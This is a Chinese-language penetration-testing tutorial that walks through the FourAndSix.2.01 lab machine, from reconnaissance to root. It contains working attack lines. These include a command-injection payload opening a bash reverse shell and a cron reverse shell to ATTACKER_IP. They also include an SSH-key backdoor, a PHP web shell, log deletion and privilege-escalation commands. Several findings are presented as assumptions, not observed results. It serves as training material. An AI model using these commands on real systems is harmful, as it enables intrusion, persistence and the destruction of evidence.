
1. 项目概述从靶机到实战思维的跨越如果你对网络安全感兴趣或者正在学习渗透测试那么“FourAndSix”这个靶机名字你一定不陌生。FourAndSix.2.01 是一个经典的 Linux 靶机它被设计用来模拟一个存在多个漏洞的真实服务器环境是无数安全爱好者、初学者甚至从业者用来磨炼技能的“练功房”。我最初接触它时也和很多人一样面对一个黑漆漆的命令行界面感到无从下手。但正是通过一步步攻克它我才真正理解了渗透测试的流程、工具的使用以及最重要的——攻击者的思维方式。这篇内容就是把我自己以及带新人过程中针对 FourAndSix.2.01 靶机的完整渗透过程、踩过的坑、以及背后的原理进行一次超详细的复盘和梳理。这不仅仅是一份“通关攻略”更希望它能成为你构建自己渗透测试知识体系的一块基石。渗透测试的核心不是记住几个命令和漏洞利用代码而是理解“信息收集-漏洞分析-漏洞利用-权限提升-报告撰写”这一套完整的循环逻辑。FourAndSix.2.01 靶机完美地涵盖了这些环节从最基础的端口扫描、服务枚举到 Web 目录爆破、敏感信息泄露再到利用已知漏洞获取初始立足点最后通过系统内核或配置漏洞完成权限提升拿到最高权限。整个过程就像一场精心设计的闯关游戏每一关都对应着一个或多个实际中可能遇到的安全问题。通过手动操作一遍远比看十篇理论文章印象更深刻。本教程面向所有对渗透测试有热情的学习者无论你是刚刚安装好 Kali Linux 的新手还是已经有一定基础想通过经典靶机巩固知识的朋友。我会假设你具备最基础的 Linux 命令行操作知识并已经搭建好了测试环境例如使用 VMware 或 VirtualBox 运行 Kali Linux 攻击机和 FourAndSix.2.01 靶机并确保它们在同一网络内能互相通信。我们将使用最常见的开源工具如 Nmap、Dirb、Searchsploit、Metasploit 等并详细解释每一步的目的和原理。准备好了吗让我们开始这场从外部侦察到内部统治的旅程。2. 环境准备与信息收集一切攻击的起点渗透测试的第一步永远不是直接发起攻击而是尽可能安静、全面地收集目标信息。这就像军事行动前的侦察了解得越多制定攻击策略就越有把握。对于 FourAndSix.2.01 这类已知 IP 的靶机我们的信息收集主要围绕网络和服务展开。2.1 靶机网络配置与连通性确认首先我们需要确定靶机的 IP 地址。在虚拟机环境中通常将攻击机Kali和靶机的网络模式都设置为“NAT 模式”或“仅主机模式”并确保它们在同一网段。在 Kali 中打开终端使用ifconfig或ip addr命令查看自己的 IP 地址假设为192.168.1.105。接下来我们需要发现同一网段内存活的主机。最常用的工具是netdiscover它是一个基于 ARP 协议的主动/被动侦查工具。sudo netdiscover -r 192.168.1.0/24执行上述命令后工具会发送 ARP 请求并监听回复很快就能列出当前网段内所有在线设备的 IP 和 MAC 地址。找到那个不属于你已知设备的 IP很可能就是靶机的地址我们假设它为192.168.1.110。为了确认可以使用ping命令测试连通性ping -c 4 192.168.1.110。收到回复则说明网络通路正常。注意在实际的授权测试中使用netdiscover这类主动 ARP 扫描可能会触发网络入侵检测系统IDS的警报。对于靶机练习则无需担心。另一种更隐蔽的方式是使用nmap进行 Ping 扫描-sn但效果取决于防火墙规则。2.2 全面的端口与服务探测确定目标 IP 后下一步是进行端口扫描找出靶机对外开放了哪些“门”。Nmap 是这方面的王者。我们首先进行一次快速扫描获取初步印象nmap -sS -T4 192.168.1.110-sS表示 SYN 半开放扫描这是一种相对隐蔽的 TCP 扫描方式。-T4指定了扫描速度0-5T4 是较快的速度适合内网环境。扫描结果可能会显示开放了 22SSH、80HTTP等端口。但为了更全面我们需要进行一次更详细的服务版本探测和默认脚本扫描nmap -sV -sC -O -p- 192.168.1.110这个命令组合非常强大-sV: 探测开放端口上运行的服务及其具体版本号。知道版本号是后续搜索漏洞的关键。-sC: 使用 Nmap 自带的默认脚本进行扫描这些脚本能进行更深入的发现如检查 HTTP 标题、枚举 SSH 协议等。-O: 尝试识别目标主机的操作系统。-p-: 扫描所有 65535 个端口而不是默认的 1000 个常用端口。这是非常重要的因为管理员可能将服务放在非标准端口上。扫描完成后我们会得到一份详细的报告。假设对于 FourAndSix.2.01我们发现了以下关键信息端口 22/tcp: 开放服务为 OpenSSH 7.2p2。这个版本相对较新但仍有已知漏洞需要关注。端口 80/tcp: 开放服务为 Apache httpd 2.4.18。这是一个常见的 Web 服务器。操作系统猜测: Linux 3.X。这些信息构成了我们攻击面的基础。Web 服务80端口通常是渗透测试的突破口因为它面向公众功能复杂容易出现配置错误或代码漏洞。2.3 Web 应用初步侦察与目录枚举既然有 Web 服务我们自然要从浏览器访问http://192.168.1.110开始。打开后可能是一个简单的页面或者有登录表单或者直接显示了某些信息。用浏览器开发者工具F12查看页面源代码有时能在注释或隐藏字段中发现有价值的信息比如版本号、测试账号、内部路径等。接下来我们需要找出网站上可能存在的隐藏目录或文件比如后台管理页面/admin、配置文件/config.php、备份文件/backup.zip等。这里使用dirb或gobuster这样的目录爆破工具。dirb http://192.168.1.110 /usr/share/wordlists/dirb/common.txt -X .php,.txt,.bak/usr/share/wordlists/dirb/common.txt是 Kali 自带的常用目录字典。-X参数指定要检查的扩展名.php、.txt、.bak是常见的敏感文件扩展名。工具运行时会尝试字典中的每一个条目并根据 HTTP 响应状态码如 200 成功403 禁止访问404 未找到来判断目录或文件是否存在。对于返回 200 或 403 的路径都需要手动访问查看。在 FourAndSix.2.01 的案例中我们可能会发现像/secret、/backup、/phpinfo.php这样的路径。访问/phpinfo.php可能会泄露大量的服务器配置信息包括 PHP 版本、加载的模块、网站绝对路径等这些信息在后续利用中极其重要。3. 漏洞分析与初始访问获取在完成基础信息收集后我们手头可能已经有了几个潜在的突破口一个特定版本的 OpenSSH一个 Apache 服务器以及几个发现的 Web 目录或文件。现在需要深入分析找到那个可以让我们“进去”的漏洞。3.1 利用敏感信息泄露获取立足点Web 目录爆破的结果往往能带来惊喜。假设我们通过dirb发现了一个路径/backup访问后可以直接列出目录并发现一个名为website_backup_2016.tar.gz的压缩包。这很可能是一个网站源代码的备份文件。立即下载到本地并解压wget http://192.168.1.110/backup/website_backup_2016.tar.gz tar -xzvf website_backup_2016.tar.gz解压后我们获得了网站的源代码。审计源代码是发现漏洞的黄金手段。我们需要重点关注配置文件如config.php、database.php、.env等。这些文件里常常硬编码了数据库密码、API 密钥或其他敏感信息。用grep命令快速搜索grep -r password\|passwd\|pwd\|key\|secret . --include*.php --include*.inc --include*.conf数据库操作语句搜索mysql_query、mysqli_、SELECT * FROM等查看是否存在 SQL 注入漏洞。特别留意用户输入如$_GET、$_POST是否直接拼接到了 SQL 语句中。文件包含/上传功能搜索include(、require(、move_uploaded_file等这些是文件包含和上传漏洞的高发区。命令执行函数搜索exec(、system(、passthru(、shell_exec(看用户输入是否未经净化就传入了这些函数。在 FourAndSix.2.01 的源码中我们极有可能在某个配置文件中发现数据库的连接凭证比如db_user: fourandsix和db_password: [某个明文密码]。如果这个数据库还允许远程连接通过之前的端口扫描我们可能发现了 3306 端口开放那么就可以直接用mysql客户端连接。但更常见的情况是这个密码被网站的其他部分如管理员登录逻辑复用。我们可以尝试用这个密码去 SSH 登录之前发现的用户比如fourandsix。ssh fourandsix192.168.1.110输入从配置文件中找到的密码。如果运气好我们就获得了第一个低权限的 shell这是一个典型的“横向密码复用”漏洞利用场景在实际中非常普遍。3.2 分析服务版本与搜索公开漏洞如果信息泄露的路径走不通我们就要转向分析具体的服务版本。用searchsploit这个强大的工具它本地集成了 Exploit-DB 的漏洞库。searchsploit openssh 7.2 searchsploit apache 2.4.18对于 OpenSSH 7.2p2我们可能会看到一些提权漏洞需要本地用户权限或拒绝服务漏洞可能不适用于获取初始访问。对于 Apache 2.4.18重点可能在于其模块或与之搭配的 PHP 版本。我们需要更精确地确定 PHP 版本可以通过之前发现的phpinfo.php页面或者通过 Web 请求的响应头使用curl -I或浏览器开发者工具的“网络”标签查看。假设我们发现 PHP 版本是 5.6.x。那么可以搜索searchsploit php 5.6。结果可能会非常多需要结合网站的具体功能来筛选。例如如果网站有文件上传功能就重点关注文件上传漏洞如果有搜索功能就关注 SQL 注入或命令注入。另一种方法是使用自动化漏洞扫描器如Nessus或OpenVAS但它们可能会产生大量误报和噪音在靶机这种可控环境中手动分析结合searchsploit通常更高效、更有学习价值。3.3 利用 Web 漏洞获取 Shell假设我们在审计源代码时发现了一个存在命令注入漏洞的页面。例如一个ping.php页面接收用户输入的 IP 地址并执行ping -c 4 [用户输入]。代码可能是这样的$ip $_GET[ip]; system(ping -c 4 . $ip);这里用户输入的$ip被直接拼接到了system()函数中没有经过任何过滤。这就是一个典型的命令注入漏洞。我们可以通过注入特殊字符来执行任意命令。在浏览器中访问http://192.168.1.110/ping.php?ip127.0.0.1; whoami参数中的分号;在 Linux shell 中用于分隔命令。这样服务器会先执行ping -c 4 127.0.0.1然后执行whoami并将结果返回在页面上。如果页面上显示了www-dataWeb 服务器的默认运行用户说明注入成功。接下来我们需要获得一个反向 Shell以便在攻击机上获得一个交互式的命令行。首先在攻击机Kali上监听一个端口nc -lvnp 4444然后在 Web 漏洞利用点注入一个反向 Shell 命令。有多种 Payload这里使用一个经典的 bash 反向 Shellhttp://192.168.1.110/ping.php?ip127.0.0.1; bash -c bash -i /dev/tcp/192.168.1.105/4444 01请将192.168.1.105替换为你 Kali 机器的真实 IP。执行后如果成功你会在nc监听端口中看到一个来自靶机的 Shell用户通常是www-data。恭喜你已经成功突破了边界获得了在靶机上的初始立足点实操心得获取反向 Shell 时经常会因为编码、特殊字符、或者靶机环境缺少某些命令如bash、nc而失败。务必准备多种 Payload如 Python、PHP、Perl 版本的反向 Shell并注意对 URL 中的特殊字符进行 URL 编码。例如空格用%20或代替符号用%26代替以免被误认为是 HTTP 参数分隔符。4. 权限提升从普通用户到 root获得初始 Shell无论是www-data还是普通用户fourandsix只是万里长征第一步。在渗透测试中这被称为“立足点”。我们的最终目标是获取最高权限即 Linux 系统中的root用户权限。这个过程称为权限提升Privilege Escalation简称提权。4.1 系统内部信息收集在尝试提权之前必须对当前所处的系统环境有深入的了解。我们需要收集以下信息当前用户和组idwhoami系统信息uname -a内核版本cat /etc/issue或cat /etc/*release*发行版信息进程信息ps aux或ps -ef查看以 root 身份运行的非系统关键进程网络连接netstat -antp或ss -antp查看开放端口和连接可能发现内部服务计划任务crontab -l当前用户的ls -la /etc/cron*cat /etc/crontab系统级的重点关注是否有以 root 权限运行的脚本且我们是否有写权限SUID/SGID 文件find / -type f -perm -4000 -o -perm -2000 2/dev/null查找设置了 SUID 或 SGID 位的文件这些文件运行时可能继承所有者权限可写文件/目录find / -writable -type d 2/dev/null查找当前用户可写的目录特别是/tmp、/var/tmp以及一些服务目录用户历史与配置文件查看~/.bash_history~/.ssh/目录 以及/etc/passwd/etc/shadow如果可读等。将上述命令的输出仔细保存和分析。在 FourAndSix.2.01 中我们可能会发现一些有趣的线索比如一个异常的 SUID 文件或者一个配置错误的 cron 任务。4.2 利用内核漏洞提权如果系统内核版本较旧可能存在公开的本地提权漏洞。我们可以用uname -a得到内核版本例如Linux fourandsix 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt20-1deb8u4 (2016-02-29) x86_64 GNU/Linux。然后使用searchsploit搜索该内核版本searchsploit linux kernel 3.16 local privilege可能会找到多个漏洞如 “Dirty COW” (CVE-2016-5195)。我们需要挑选一个适合当前系统架构x86/x64且可靠的漏洞利用代码Exploit。将其下载到本地然后想办法传到靶机上。传输文件的方法有很多Python HTTP 服务器在 Kali 上进入 Exploit 所在目录运行python3 -m http.server 8000。然后在靶机的 Shell 里使用wget http://192.168.1.105:8000/exploit.c。SCP如果靶机开启了 SSH 且我们有登录密钥或密码可以直接scp exploit.c fourandsix192.168.1.110:/tmp/。Base64 编码对于较小的文件可以在 Kali 上cat exploit.c | base64复制输出在靶机上echo [base64字符串] | base64 -d exploit.c。传到靶机后按照 Exploit 的说明进行编译通常需要 gcc和执行。例如gcc exploit.c -o exploit ./exploit如果 Exploit 成功我们会看到提示符从$变成了#执行whoami会返回root。注意事项内核 Exploit 有风险它可能导致系统崩溃蓝屏/死机。在真实生产环境中未经授权的提权尝试是破坏性的且极易被发现。仅在授权的测试环境或像 FourAndSix 这样的专用靶机中使用。此外不是所有 Exploit 都能一次成功可能需要根据系统环境如内核编译选项、安全模块如 SELinux/AppArmor进行调整。4.3 利用配置错误提权除了内核漏洞系统或服务的配置错误是更常见的提权路径。以下是一些经典场景1. SUID 文件滥用SUIDSet User ID位是一种特殊的文件权限它允许用户以文件所有者的权限来执行该文件。如果find命令发现一个不常见的、属于 root 且设置了 SUID 位的文件我们需要研究它。例如如果发现/usr/bin/find有 SUID 位我们可以利用它来执行任意命令/usr/bin/find . -exec /bin/sh \; -quit这条命令会让find以 root 权限启动一个 shell。其他常见的可滥用 SUID 程序包括vim、nmap旧版本、bash特定版本、cp、mv等。可以使用工具如linpeas.sh或linux-exploit-suggester.sh来自动化识别这些机会。2. Cron 任务滥用Cron 是 Linux 的计划任务系统。如果发现一个以 root 权限周期性运行的脚本并且这个脚本所在目录或脚本本身对当前用户可写我们就可以通过修改这个脚本或在该目录下放置恶意脚本来实现提权。 例如crontab -l或查看/etc/crontab发现* * * * * root /opt/scripts/backup.sh而/opt/scripts/目录对我们可写或者backup.sh文件对我们可写。我们就可以编辑backup.sh在末尾添加一行chmod us /bin/bash这样一分钟后/bin/bash就会被设置为 SUID我们就能通过bash -p获得一个 root shell。3. 密码复用与 sudo 权限检查当前用户能否使用sudo命令执行某些程序sudo -l。输入当前用户密码后会列出该用户被允许以 root 身份运行的命令。例如如果允许sudo /usr/bin/vi那么我们可以通过sudo vi进入 vi 编辑器然后在 vi 中执行:!bash来获得一个 root shell。类似的sudo配合find、awk、perl、python等拥有执行系统命令能力的程序都可能被用来提权。在 FourAndSix.2.01 的提权阶段很可能结合了以上多种方法。例如先通过信息收集发现一个配置错误的 SUID 程序或者一个以 root 运行且路径可写的 cron 脚本从而最终拿到 root 权限。5. 后渗透清理与痕迹管理在成功获得 root 权限后一个负责任的渗透测试者或攻击者会考虑清理痕迹以避免被系统管理员发现。但在靶机练习中这一步主要是为了学习相关知识。请注意在未经授权的真实系统上操作是非法行为。5.1 常见的日志文件与清理Linux 系统会记录大量的日志主要存放在/var/log/目录下。我们需要关注的包括/var/log/auth.log或/var/log/secure: 记录认证相关日志如 SSH 登录成功/失败、sudo 使用记录。我们的 SSH 登录和 sudo 操作会被记录在这里。/var/log/apache2/access.log和error.log: 记录 Web 服务器的访问和错误日志。我们的目录爆破、漏洞利用请求都会被记录。/var/log/syslog: 系统通用日志。~/.bash_history: 当前用户执行的命令历史记录。清理这些日志需要 root 权限。可以直接删除或清空文件# 清空文件内容 /var/log/auth.log /var/log/apache2/access.log # 或者直接删除更可疑 rm /var/log/auth.log更隐蔽的做法是只删除与自己 IP 或用户名相关的日志行使用sed或grep -v命令。但任何对日志文件的修改都可能被文件完整性监控工具如 AIDE, Tripwire检测到。5.2 创建持久化后门为了在系统重启或连接断开后还能维持访问攻击者通常会安装后门。常见的方法有添加 SSH 公钥将攻击机的 SSH 公钥添加到 root 用户的authorized_keys文件中。echo ssh-rsa AAAAB3NzaC1yc2E... [你的公钥内容] /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys创建定时任务Cron添加一个每分钟连接回攻击机的 cron 任务。(crontab -l 2/dev/null; echo * * * * * /bin/bash -c bash -i /dev/tcp/ATTACKER_IP/4445 01) | crontab -安装 Web Shell如果在 Web 目录有写权限可以上传一个简单的 PHP 一句话木马例如在/var/www/html/shell.php写入?php system($_GET[cmd]);?之后通过浏览器访问即可执行命令。在靶机练习中安装后门是为了理解攻击者的持久化技术但在完成练习后请务必移除这些后门或将靶机恢复到初始快照状态。5.3 信息收集与横向移动在靶场中的延伸在真实的网络环境中拿下一台主机跳板机后攻击者会以此为基础进行内网横向移动攻击同一网络内的其他机器。即使在 FourAndSix 这样的单机靶场中我们也可以模拟这一思维内网扫描从获得的 Shell 中使用ifconfig查看靶机的其他网卡如 eth1可能连接着另一个内网网段。可以使用靶机上的工具如nmap如果安装了或上传轻量级扫描脚本对内网进行探测。密码哈希抓取与破解使用cat /etc/shadow获取本地用户密码哈希需要 root 权限。这些哈希可以被john或hashcat工具破解。如果多个机器使用相同密码就为横向移动提供了可能。内存信息提取使用工具如linpeas或手动检查进程、环境变量寻找密码、密钥等敏感信息。6. 工具链深度解析与替代方案在整个渗透过程中我们依赖了一系列工具。了解它们的原理和替代方案能让你在工具失效时灵活应变。6.1 信息收集工具生态Nmap 的进阶用法除了基本的端口扫描Nmap 的 NSENmap Scripting Engine脚本库是宝藏。例如nmap -sV --script vuln 192.168.1.110可以运行所有与漏洞检测相关的脚本。针对特定服务如http-enum枚举 Web 应用、ssh-auth-methods检查 SSH 认证方法都非常有用。目录爆破的字典选择dirb自带的common.txt只是开始。Kali 还提供了其他字典如/usr/share/wordlists/dirbuster/*。对于大型测试可以使用更全面的字典如SecLists项目中的Discovery/Web-Content目录下的字典。工具方面gobuster速度更快支持多线程ffuf则以其速度和灵活性著称支持多种过滤条件。子域名枚举对于拥有域名的真实目标子域名枚举是重要一环。工具包括subfinder、amass、assetfinder等它们会从证书透明度日志、搜索引擎、DNS 记录等多种公开来源收集子域名。6.2 漏洞利用与开发框架Metasploit Framework (MSF)对于 FourAndSix.2.01我们可能没有用到 MSF但它是一个不可或缺的庞大框架。它集成了大量的 Exploit、Payload、辅助模块和后渗透模块。例如如果我们发现一个已知的 Apache Struts2 漏洞可能只需要在 MSF 中use exploit/multi/http/struts2_content_type_ognl设置好参数就能一键获得 Shell。学习 MSF 的search、use、set、run基本流程是必修课。手动 Exploit 的调试从searchsploit下载的 Exploit 代码不一定能直接运行。常见问题包括依赖库缺失C 代码可能需要特定的头文件Python 代码可能需要安装requests、pwntools等库。偏移量不对缓冲区溢出类的 Exploit 中内存地址偏移量可能因系统环境ASLR、libc 版本而异需要根据报错信息或使用gdb调试进行调整。编码问题针对 Web 的 Exploit需要注意 Payload 的 URL 编码、Unicode 编码等。编写简单的 PoC理解漏洞原理后尝试自己用 Python 或 Bash 写一个简单的验证脚本Proof of Concept能极大地加深理解。例如针对一个 SQL 注入点写一个脚本自动化进行布尔盲注提取数据。6.3 权限提升自动化辅助手动枚举提权路径是一项繁琐但必要的工作。以下工具可以极大提高效率LinPEAS最强大的 Linux 本地提权枚举脚本之一。它几乎检查了前面提到的所有手动检查项并以清晰的彩色输出高亮显示可疑点可写路径、异常的 SUID 文件、可能包含密码的文件等。只需上传到靶机并执行即可。Linux Exploit Suggester这个脚本会根据当前系统的内核版本自动推荐可能适用的本地提权 Exploit并给出 CVE 编号和下载链接。pspy一个非特权进程监控工具可以让你在不需 root 权限的情况下查看系统上运行的所有 cron 任务、临时启动的进程等对于发现那些短暂运行的、以 root 权限执行的脚本非常有帮助。使用这些工具时务必理解它们输出的含义而不是盲目地执行它们提示的命令。工具是辅助思考才是核心。7. 从靶场到实战思维模式的建立与报告撰写完成 FourAndSix.2.01 的渗透不仅仅是为了拿到 root 权限更重要的是建立一套属于自己的渗透测试方法论和安全思维。7.1 渗透测试流程的固化将这次手把手的过程抽象化就形成了标准的渗透测试流程前期交互与客户确定测试范围、规则、时间窗口。在靶场中这就是确定目标 IP 和测试边界。信息收集被动收集公开信息 主动扫描端口、服务、目录。信息越多攻击面越广。威胁建模与漏洞分析根据收集的信息识别可能的攻击向量如弱密码、已知漏洞、配置错误并确定攻击优先级。漏洞利用尝试利用已识别的漏洞获取初始访问权限。后渗透/权限提升在系统内部扩大战果获取更高权限并尝试横向移动。报告撰写将发现、利用过程、影响和修复建议整理成文。每一次练习都应有意识地按照这个流程走一遍即使目标很简单。这能帮你形成肌肉记忆。7.2 编写专业的渗透测试报告报告是渗透测试价值的最终体现。一份好的报告应包括执行摘要用非技术语言向管理层概述测试结果、发现的主要风险及其业务影响。测试范围与方法明确测试了哪些系统/IP使用了哪些方法黑盒/白盒。详细发现这是报告的核心。每个漏洞应单独列出包含漏洞标题清晰描述如“通过敏感备份文件泄露获取数据库凭证”。风险等级高、中、低通常结合CVSS评分。受影响资产具体的 URL 或 IP。漏洞描述解释漏洞是什么。验证步骤提供详细的复现步骤包括截图、命令和输出让开发人员能准确复现。漏洞原理简要说明漏洞产生的根本原因。修复建议提供具体、可操作的修复方案。例如不是简单说“防止SQL注入”而是说“在login.php的第XX行使用参数化查询PDO预处理语句替换当前的字符串拼接”。附录可以包含一些技术细节、工具输出日志等。用 FourAndSix.2.01 的练习来模拟写报告将你发现的备份文件泄露、命令注入、内核提权等每一个步骤都按照上述格式记录下来。这个过程能帮你理清思路也是未来求职或工作中非常重要的能力。7.3 持续学习与资源推荐渗透测试领域日新月异。保持学习的方法搭建自己的实验室除了下载现成的靶机如 VulnHub, HackTheBox 上的虚拟机可以尝试自己用 Docker 或虚拟机搭建有漏洞的应用如 DVWA, WebGoat, bwapp进行练习。关注安全社区如 Exploit-DB, SecurityFocus, 国内的安全客、先知社区等了解最新漏洞。参与 CTF 比赛Capture The Flag 比赛是快速提升实战能力的绝佳途径从 Jeopardy 模式到 Attack-Defense 模式能锻炼各种技能。学习开发懂开发尤其是 Web 开发能让你更容易理解漏洞的根源。学习一门脚本语言Python和一门 Web 语言PHP/Java的基础。FourAndSix.2.01 只是一个开始。它教会你的是基础的方法和思维。当你攻克了它就可以去挑战更复杂的靶机比如 HackTheBox 上的活跃机器或者 VulnHub 上那些模拟真实复杂环境的靶场。记住每一次“失败”的尝试——比如一个 Exploit 没打成功一个提权路径走不通——其价值往往比一次成功的“照抄攻略”要大得多因为它迫使你去思考、去排查、去学习新的知识。保持好奇保持耐心享受这个破解谜题的过程。